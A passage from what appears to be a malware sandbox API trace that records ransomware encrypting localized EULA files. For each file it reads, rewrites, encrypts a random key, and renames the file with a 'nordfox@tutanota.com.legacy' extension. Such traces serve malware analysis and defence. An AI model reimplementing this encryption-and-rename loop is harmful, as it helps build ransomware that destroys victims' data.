out: hHeap=0x520000) returned 1 [0123.914] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.914] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=58549) returned 1 [0123.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe4b5) returned 0x60cbf0 [0123.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe4b5) returned 0x2e41f30 [0123.914] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0xe4b5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe4b5, lpOverlapped=0x0) returned 1 [0123.931] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-58549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.932] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0xe4b5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe4b5, lpOverlapped=0x0) returned 1 [0123.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0123.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0123.932] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe4b5 [0123.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0123.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0123.932] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0123.932] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0123.933] CloseHandle (hObject=0x6d0) returned 1 [0123.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0123.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0123.933] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0123.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0123.935] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0123.935] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0123.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0123.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0123.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0123.935] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0123.935] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0123.935] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm", dwFileAttributes=0x80) returned 1 [0123.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0123.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0123.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0123.936] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0123.936] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=239446) returned 1 [0123.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3a756) returned 0x2e41f30 [0123.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3a756) returned 0x2e7c690 [0123.937] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x3a756, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a756, lpOverlapped=0x0) returned 1 [0124.011] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-239446, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.011] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e7c690*, nNumberOfBytesToWrite=0x3a756, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e7c690*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a756, lpOverlapped=0x0) returned 1 [0124.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0124.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e7c690 | out: hHeap=0x520000) returned 1 [0124.019] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a756 [0124.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0124.019] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0124.021] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0124.021] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0124.021] CloseHandle (hObject=0x6d0) returned 1 [0124.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0124.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0124.021] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0124.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0124.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0124.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0124.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0124.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0124.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0124.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0124.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0124.024] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm", dwFileAttributes=0x80) returned 1 [0124.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0124.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0124.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0124.025] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0124.025] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=70461) returned 1 [0124.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1133d) returned 0x60cbf0 [0124.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1133d) returned 0x2e41f30 [0124.026] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x1133d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1133d, lpOverlapped=0x0) returned 1 [0124.223] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-70461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.223] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1133d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1133d, lpOverlapped=0x0) returned 1 [0124.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0124.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0124.224] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1133d [0124.224] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0124.224] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0124.224] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0124.224] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0124.225] CloseHandle (hObject=0x6d0) returned 1 [0124.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0124.225] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0124.225] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0124.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0124.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0124.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0124.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0124.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0124.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0124.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0124.234] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm", dwFileAttributes=0x80) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0124.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0124.235] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0124.235] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0124.235] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=65173) returned 1 [0124.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfe95) returned 0x2e41f30 [0124.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfe95) returned 0x60cbf0 [0124.235] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0xfe95, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0xfe95, lpOverlapped=0x0) returned 1 [0124.337] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-65173, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.337] WriteFile (in: hFile=0x6d0, lpBuffer=0x60cbf0*, nNumberOfBytesToWrite=0xfe95, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfe95, lpOverlapped=0x0) returned 1 [0124.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0124.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0124.338] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfe95 [0124.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0124.338] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0124.338] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0124.338] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0124.338] CloseHandle (hObject=0x6d0) returned 1 [0124.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0124.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0124.339] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0124.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0124.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0124.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0124.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0124.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0124.341] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0124.341] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0124.341] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm", dwFileAttributes=0x80) returned 1 [0124.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0124.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0124.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0124.341] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0124.342] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=83315) returned 1 [0124.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14573) returned 0x2e41f30 [0124.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14573) returned 0x2e564b0 [0124.343] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x14573, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x14573, lpOverlapped=0x0) returned 1 [0124.398] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-83315, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.398] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e564b0*, nNumberOfBytesToWrite=0x14573, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e564b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14573, lpOverlapped=0x0) returned 1 [0124.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0124.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e564b0 | out: hHeap=0x520000) returned 1 [0124.401] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14573 [0124.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0124.401] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0124.402] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0124.403] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0124.403] CloseHandle (hObject=0x6d0) returned 1 [0124.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0124.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0124.403] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0124.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0124.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0124.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0124.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0124.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0124.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0124.406] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0124.406] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0124.406] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm", dwFileAttributes=0x80) returned 1 [0124.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0124.406] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0124.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0124.406] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0124.407] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=253453) returned 1 [0124.407] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3de0d) returned 0x2e41f30 [0124.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3de0d) returned 0x2e7fd48 [0124.409] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x3de0d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x3de0d, lpOverlapped=0x0) returned 1 [0124.730] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-253453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.730] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e7fd48*, nNumberOfBytesToWrite=0x3de0d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e7fd48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3de0d, lpOverlapped=0x0) returned 1 [0124.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0124.731] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e7fd48 | out: hHeap=0x520000) returned 1 [0124.735] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: 